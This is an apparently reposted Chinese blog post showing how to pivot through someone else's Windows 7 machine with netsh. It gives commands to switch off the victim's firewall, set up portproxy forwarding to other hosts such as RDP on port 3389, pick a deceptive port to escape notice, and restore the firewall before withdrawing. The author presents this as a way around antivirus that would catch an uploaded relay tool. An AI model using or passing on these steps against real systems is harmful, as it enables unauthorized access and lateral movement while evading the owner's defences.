netsh 第一次用這命令

標籤：http   strong   for   re   c   linux   

轉載自

目標是WIN7 X64，且開啟了防火牆，想要用他的機器去訪問別的機器，又不想登陸他的系統，常規辦法一般是上傳一個htran,然後進行轉寄，但是對方有殺軟，有被殺的可能性，所以我用另外一種辦法達到我的目的。

為了方便，先關閉他的防火牆

netsh  advfirewall set allprofiles state off

(win2003&xp是用netsh  firewall set opmode DISABLE 關閉)

你也可以允許存取listenport，具體命令自行查資料。然後用netsh interface portproxy 進行轉寄到目標伺服器，但是有個小缺陷，連接埠是能在系統裡看到的，畢竟是R3層的東西，不像Linux 的IPTABLES，所以必須選擇一個迷惑性的連接埠。

操作完畢後，恢復防火牆netsh  advfirewall set allprofiles state on.然後撤退。

關於netsh 轉寄，請參考以下內容:Windows下連接埠轉寄。

添加:

 

netsh interface portproxy add v4tov4 listenport=轉發連接埠 listenaddress=本機IP connectport=目標連接埠 connectaddress=目標IP

 

例子：

netsh interface portproxy add v4tov4 8002 202.112.58.200 8002 //本地ALL IP轉目標IP8002

 

 

netsh interface portproxy add v4tov4 listenport=5200 listenaddress=1.1.1.1 connectport=3389 connectaddress=2.2.2.2 //指定IP轉發。

 

XP/2003需要先安裝IPV6

 

netsh interface ipv6 install

 

刪除:

 

netsh interface portproxy delete v4tov4 listenport=轉發連接埠 listenaddress=本機IP

 

 

配置IP路由轉發:

 

netsh interface ipv4 set int 26 forwarding=enabled

 

26是網絡介面編號,可以用netsh interface ipv4 show interfaces來查看.